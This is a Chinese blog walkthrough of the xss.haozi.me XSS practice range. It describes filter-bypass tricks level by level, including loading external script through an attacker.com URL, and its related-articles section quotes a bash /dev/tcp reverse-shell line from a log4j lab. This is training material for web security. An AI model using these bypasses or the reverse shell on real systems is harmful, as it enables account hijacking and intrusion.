XSS漏洞:xss.haozi.me靶场通关

2024-01-18 15:52
文章标签 漏洞 靶场 xss 通关 haozi

本文主要是介绍XSS漏洞:xss.haozi.me靶场通关,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

xss系列往期文章:

初识XSS漏洞-CSDN博客

利用XSS漏洞打cookie-CSDN博客

XSS漏洞:xss-labs靶场通关-CSDN博客

XSS漏洞:prompt.mi靶场通关-CSDN博客

目录

0x00

0x01

0x02

0x03

0x04

0x05

0x06

0x07

0x08

0x09

0x0A

0x0B

0x0C

0x0D

0x0E

0x0F

0x10

0x11

0x12


本篇文章将会通过学习+练习的方式来对xss.hapozi.me靶场进行通关演示

这个靶场是一个在线平台,网址:alert(1)

进入网站后,会让你输入一个用户名,输入完就会跳转到第一关页面:

这里页面是很人性化的,将我们输入的代码、前端页面代码、后端代码都展示出来了

那么废话不多说,开始闯关ヾ(◍°∇°◍)ノ゙

0x00

根据前面通关别的靶场的经验,相信第一关一定是不是难为我们的,那就直接来进行弹窗

可以看到成功过关

0x01

很轻松的我们就来到了第一关,那就来试试进行弹窗

根据结果可以看到,这里我输入的alert被放到了一对<textarea>标签包裹住了,因此无法进行弹窗,那么我们来试着闭合这个标签然后再到后面进行弹窗:

成功过关 

0x02

现在来到了第二关,话不多数,尝试弹窗

可以看到这里我们输入的内容被放在了value里面包裹起来了,并且并没有对我们输入的内容进行什么限制,因此这里我想应该直接闭合">在其后面添加弹窗代码应该就可以成功弹窗吧,理论完成,下面进行实践:

果然和我想的是一样的嘛,成功过关 

0x03

现在是第三关,来试试弹窗

根据输出的结果和后端代码不难看出,这里将我们输入的()给过滤掉了,那么其实就很好解决了,在上一个靶场中我们也遇到过同样的问题,相信看过的小伙伴已经知道了怎么解决了,没错,直接将(),修改为``一对反引号即可

 成功过关

0x04

现在来到了第4关,直接试试弹窗:

可以看到,这里的后端代码 与前一关差不多是一样的,不过多了一个过滤就是我们上一关利用的``,那么也不用怕,因为我们还有方法:我们可以使用svg加上对()进行编码来绕过限制

成功过关 

0x05

很快就到了第五关了,尝试弹窗

可以看到这里我们输入的内容被放在了一对注释符中间,并且后端代码对-->进行了过滤,防止我们来闭合注释符,但是就像上一个把靶场同样的场景那样,虽然限制了-->但是我们可以通过--!>来闭合注释符,那么来实践一下:

 成功通关

0x06

现在来到了第六关,那么来看看这一关会有什么限制呢,试试

可以看到这一关的限制就比较多了,首先就是把auto字符串,和所有以on开头的,然后把/都给替换掉了,不过不要慌,我们可以使用换行的方式来绕过这个正则表达式对on事件的限制,那么实际使用一下

成功过关

0x07

来到了第7关,来试试弹窗

从结果和代码中都可以看到我们输入的值被包裹在了一对article标签并且这里对我们输入的值进行了过滤,对</>进行了过滤,因此我们无法提前闭合<article>标签,但是这里我们需要知道html的兼容性是比较强的,即使不闭合标签也可以解析,那么利用这一点可以试试看

成功弹窗

0x08

很快的,就来到了第8关,来试试看这一关有什么防御机制

从结果和代码中可以看到,输入的代码被包裹在一对style标签内,并且对输入的内容进行了替换,如果输入</style>替换成了坏人

这里我们需要知道,style>标签表示css样式表,不能执行JavaScript语句,即不能直接输入xss语句像<img scr="xxx">,其中img和src中间有空格,也就是说标签和属性之间是有空格的

</style>标签也是一样的,在style后面加入空格,加入空格后可以往后面加上属性,但是不加属性只加空格也是可以解析的,所以使用空格来闭合style标签从而绕过匹配,进行弹窗

 成功过关

0x09

现在来到了第9关,来测试一下,看对输入的内容有什么限制:

从后端代码可以看出,这里需要我们输入一个http://www.segmentfault.com/的格式才能成功匹配if语句进入html页面

我们可以使用onerror事件来绕过,去请求url,如果请求失败则触发事件然后等待超时后就可以触发事件弹窗

成功过关

0x0A

这里来到了第0x0A关

可以看到这里和上一关一样,都需要使用http://www.segmentfault.com/的格式才能成功匹配if语句进入html页面,与上一关不同的是,对输入的值进行了过滤 & ' " < > / 都进行了过滤 

但是这里可以使用像上一个靶场的那一关一样

浏览器支持这样的url:user:password@attacker.com。

意思是使用user:password登录到站点attacker.com.

所以本关我们可以使用url中@符号进行外部调用,在本地新建一个test.js文件,在文件中输入alert(1),然后再url中访问该文件来实现弹窗。

成功弹窗

0x0B

现在来到了0x0B关卡

可以看到,这里的限制就很简单,将我们输入的所有字符都进行了转大写,这个限制方式在上一个靶场中也遇到过,因此这里可以引入外部js文件就可以直接弹窗

成功过关

0x0C

现在来到了0x0C关,那么来试试弹窗

 

这一关可以看到不但把所有的字符转换为了大写,并且将script关键字进行了过滤,因此上一关使用的引入外部文件的方式来进行弹窗了

但是仔细看看这个限制我发现了一个bug,它只限制了script,可以试试进行双写绕过:

成功过关

0x0D

现在来到了0x0D关了,先来看看后端代码有什么限制

可以看到,这里对 / < " ' 进行了限制,因此我们无法进行闭合标签的操作

这里测试了一下发现可以通过回车逃过//注释,但是后面还有一个')无法进行弹窗

但是这里对/进行了限制,因此无法使用//进行注释后面的'),但是如果对前端语言比较熟悉的小伙伴应该知道还有一种注释的方式是-->

那么我们来试试使用这种方式来注释掉后面的')

成功过关

0x0E

现在来到了0x0E关,先来看看有什么限制

可以看到,这里不但将所有的字符都进行了大写操作,并且将第一个以<开头后面是一个字母的值替换为了_

这里我们可以使用特殊字符” ſ “(古英文的小写s),将其转化为大写后就变成了大写的S,然后使用外部引入的方式来进行弹窗

成功过关

0x0F

现在是英文字母的最后一关了,那么先来看看有什么限制

可以看到这里将我们输入的内容放在了img标签的onerror中济宁error打印,并且对输入的字符进行了过滤 & ' " <  > /都无法使用

这里我们可以先闭合前面的),然后再后面直接进行弹窗

成功过关

0x10

完成了英文的所有关,这里还有10-12关,因此我们继续闯

先来看看有什么限制

可以看到这里被放在了windows.data中

这里我在尝试进行绕过window.data后然后闭合前面的script再进行弹窗,居然直接就成功了

成功过关

0x11

倒数第二关了,来看看有什么限制

这一关的代码是非常多的,不如细看就知道对输入的字符有很多限制,并且可以看到输入的字符最终被放在了javascript:console.log中

不过这里也没有很难,多次尝试几次进行闭合就可以成功绕过,进行弹窗

0x12

可以看到这里也是将我们输入的内容放在了console.log中,并且对"进行了过滤,防止我们闭合

但是这一关问题也是不大的,通过多次尝试,换行来逃出限制,然后直接进行弹窗即可成功

到此,这个靶场也成功的通关了,通过这几个靶场的bypass确实觉得自己的水平也有了一点点提高,学些到了很多xss bypass 的技巧。常见的几个xss漏洞的靶场也都练习完成了,还有一些xss漏洞在后续的文章中也会演示,并且如果后面还有难度适中的xss靶场可以学习+练习,那我也会写通关文章分享给大家的 (^▽^)

这篇关于XSS漏洞:xss.haozi.me靶场通关的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/619503

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

xss-labs-master通关教程

一.level1 先来进行一下代码审计 <?php ini_set("display_errors", 0);//关闭错误显示$str = $_GET["name"]; //接受URL来的get形式的name传参echo "<h2 align=center>欢迎用户".$str."</h2>";//在网页输出,并不是echo执行的,而是echo把HTML代码发送到浏览器,浏览器对发送的H

log4j靶场,反弹shell

1.用vulhub靶场搭建,首先进入目录CVE-2021-44228中,docker启动命令 2.发现端口是8983,浏览器访问http://172.16.1.18:8983/ 3.用dnslog平台检测dns回显,看看有没有漏洞存在 4.反弹shell到kali(ip为172.16.1.18)的8888端口 bash -i >& /dev/tcp/172.16.1.18

Java反序列化漏洞-TemplatesImpl利用链分析

文章目录 一、前言二、正文1. 寻找利用链2. 构造POC2.1 生成字节码2.2 加载字节码1)getTransletInstance2)defineTransletClasses 2.3 创建实例 3. 完整POC 三、参考文章 一、前言 java.lang.ClassLoader#defineClass defineClass可以加载字节码,但由于defineClas

Web安全之XSS跨站脚本攻击:如何预防及解决

1. 什么是XSS注入 XSS(跨站脚本攻击,Cross-Site Scripting)是一种常见的Web安全漏洞,通过注入恶意代码(通常是JavaScript)到目标网站的网页中,以此在用户浏览网页时执行。攻击者可以通过XSS获取用户的敏感信息(如Cookie、会话令牌)或控制用户浏览器的行为,进而造成信息泄露、身份冒用等严重后果。 2. XSS攻击类型 2.1 存储型XSS 存储型XS

【前端安全】浅谈XSS攻击和防范

定义 XSS是跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。 恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。 分类 大分类小分类原理非存储DOM型① 不需要经过服务器

【vulhub】thinkphp5 2-rce 5.0.23-rce 5-rce 漏洞复现

2-rec 1.启动环境  cd /.../vulhub/thinkphp/2-rce # cd进入2-rce靶场文件环境下docker-compose up -d # docker-compose启动靶场docker ps -a # 查看开启的靶场信息 2.访问192.168.146.136:8080网页 3.构造payload http

【漏洞复现】赛蓝企业管理系统 GetJSFile 任意文件读取漏洞

免责声明:         本文内容旨在提供有关特定漏洞或安全漏洞的信息,以帮助用户更好地了解可能存在的风险。公布此类信息的目的在于促进网络安全意识和技术进步,并非出于任何恶意目的。阅读者应该明白,在利用本文提到的漏洞信息或进行相关测试时,可能会违反某些法律法规或服务协议。同时,未经授权地访问系统、网络或应用程序可能导致法律责任或其他严重后果。作者不对读者基于本文内容而产生的任何行为或后果承担

【网络安全】Jenkins任意文件读取漏洞及检测工具(CVE-2024-23897)

原创文章,不得转载。 文章目录 漏洞成因影响范围检测工具更多细节 漏洞成因 Jenkins CLI 接口存在任意文件读取漏洞(CVE-2024-23897)。该问题源于 args4j 库在解析文件名参数时,会将@符号后的字符串视为文件名并尝试读取文件,而且该功能默认处于启用状态。 影响范围 Jenkins weekly <= 2.441 Jenkins LTS <=